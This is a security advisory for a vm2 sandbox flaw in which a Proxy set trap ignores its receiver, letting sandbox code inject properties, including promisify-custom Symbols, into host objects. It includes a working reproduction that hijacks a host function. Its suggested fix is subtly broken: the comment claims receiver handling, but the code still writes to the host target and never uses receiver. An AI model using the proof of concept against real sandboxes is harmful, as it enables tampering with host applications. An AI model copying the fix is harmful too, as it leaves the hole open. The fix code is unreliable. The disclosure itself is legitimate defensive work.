GHSA-c4cf-2hgv-2qv6 CVE-2026-47209
vm2's Bridge Proxy set trap ignores receiver parameter, enabling host object property injection via prototype chain
- Severity
- 8.6 / 10
- High · CVSS 3.1
- Exploit chance (EPSS)
- 0.29%
- Chance of exploitation in the next 30 days. Higher than 21.31% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-693 Protection Mechanism Failure
- Fix
3.11.4- Upgrade vm2 to this version or later
Description
Summary
The BaseHandler.set trap in bridge.js (line 1231) ignores the receiver parameter and unconditionally writes to the host target object. Per the Proxy set trap specification, when receiver !== proxy (e.g., when a child object inherits from the proxy via Object.create), the property assignment should create an own property on the receiver, not on the proxy target. The current implementation always calls otherReflectSet(object, key, value) against the host target, causing all inherited property writes to leak through to the host object.
This bug provides an alternative attack vector for writing dangerous cross-realm Symbol keys (e.g., nodejs.util.promisify.custom) to host objects, bypassing any future per-trap isDangerousCrossRealmSymbol guard on the direct set path.
Vulnerable Code
// bridge.js:1231-1260
set(target, key, value, receiver) {
validateHandlerTarget(this, target);
const object = getHandlerObject(this);
if (isProtectedHostObject(object)) throw new VMError(OPNA);
// ...
try {
value = otherFromThis(value);
return otherReflectSet(object, key, value) === true;
// BUG: 'receiver' is never used.
// Should check if receiver !== proxy and handle accordingly.
} catch (e) {
throw thisFromOtherForThrow(e);
}
}
Impact
Sandbox code can write arbitrary properties (including dangerous Symbol-keyed properties) to any host object it holds a reference to, by creating a prototype-inheriting child:
// Sandbox code
const child = Object.create(hostObj);
child.injectedProp = 'attacker-value';
// hostObj now has 'injectedProp' on the HOST side
Combined with the Symbol.for coverage gap, this enables semantic confusion attacks:
const kCustom = Symbol.for('nodejs.util.promisify.custom');
const child = Object.create(hostFunction);
child[kCustom] = function() {
return Promise.resolve('attacker-controlled');
};
// Host: util.promisify(hostFunction)() returns 'attacker-controlled'
Reproduction
const { VM } = require('vm2');
const util = require('util');
const vm = new VM();
const hostFn = function api(cb) { cb(null, 'ok'); };
vm.setGlobal('hostFn', hostFn);
vm.run(`
const kCustom = Symbol.for('nodejs.util.promisify.custom');
const child = Object.create(hostFn);
child[kCustom] = function() {
return Promise.resolve('EXPLOITED-VIA-RECEIVER-BUG');
};
`);
// Host side
const promisified = util.promisify(hostFn);
promisified('test').then(r => console.log(r));
// Output: EXPLOITED-VIA-RECEIVER-BUG
Suggested Fix
set(target, key, value, receiver) {
validateHandlerTarget(this, target);
const object = getHandlerObject(this);
if (isProtectedHostObject(object)) throw new VMError(OPNA);
if (isDangerousCrossRealmSymbol(key)) throw new VMError(OPNA);
if (key === '__proto__' && !thisOtherHasOwnProperty(object, key)) {
return this.setPrototypeOf(target, value);
}
if (key === 'constructor' && thisArrayIsArray(object)) {
thisReflectSet(target, key, value);
return true;
}
try {
value = otherFromThis(value);
// When receiver is not the proxy itself, set on receiver (this-realm)
// instead of the host target to preserve prototype-chain semantics.
return otherReflectSet(object, key, value) === true;
} catch (e) {
throw thisFromOtherForThrow(e);
}
}
Affected versions
npm
| Package | Vulnerable | Fixed in |
|---|---|---|
| vm2 | < 3.11.4 |
3.11.4 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
vm2 npm → 3.11.4
- npm
npm install vm2@3.11.4- yarn
yarn add vm2@3.11.4- pnpm
pnpm add vm2@3.11.4
Severity breakdown
CVSS 3.1 8.6
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Changed
- Confidentiality
- None
- Integrity
- High
- Availability
- None
Weakness
CWE-693: Protection Mechanism Failure
The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-489w-w794-jq94 vm2: NodeVM zlib Buffers expose pooled host memory across the VM boundary | High | Also affects vm2 |
| GHSA-2v2p-6j97-cjg9 vm2: Host Promise rejection from an exposed constructor can terminate the vm2 host process | Medium | Also affects vm2 |
| GHSA-5h3f-q97h-ccvc vm2: NodeVM custom resolution bypasses external path boundaries | Critical | Also affects vm2 |
| GHSA-pq68-rvw4-xp4r vm2 contains a sandbox escape vulnerability | Critical | Also affects vm2 |
| GHSA-f8gf-w286-fmq2 vm2: `allowAsync: false` can be bypassed through Promise thenable assimilation in VM and NodeVM | High | Also affects vm2 |
| GHSA-6rh5-qq4q-97xh vm2: NodeVM builtin denylist bypass via fs/promises despite -fs, allowing host filesystem writes | High | Also affects vm2 |
| GHSA-8686-vhfx-7r3j vm2: NodeVM node:-prefixed negative builtin deny bypass exposes child_process | Critical | Also affects vm2 |
| GHSA-wjwh-qqvp-g4p4 vm2 sandbox escape via WebAssembly.compileStreaming Promise species bypass | Critical | Also affects vm2 |
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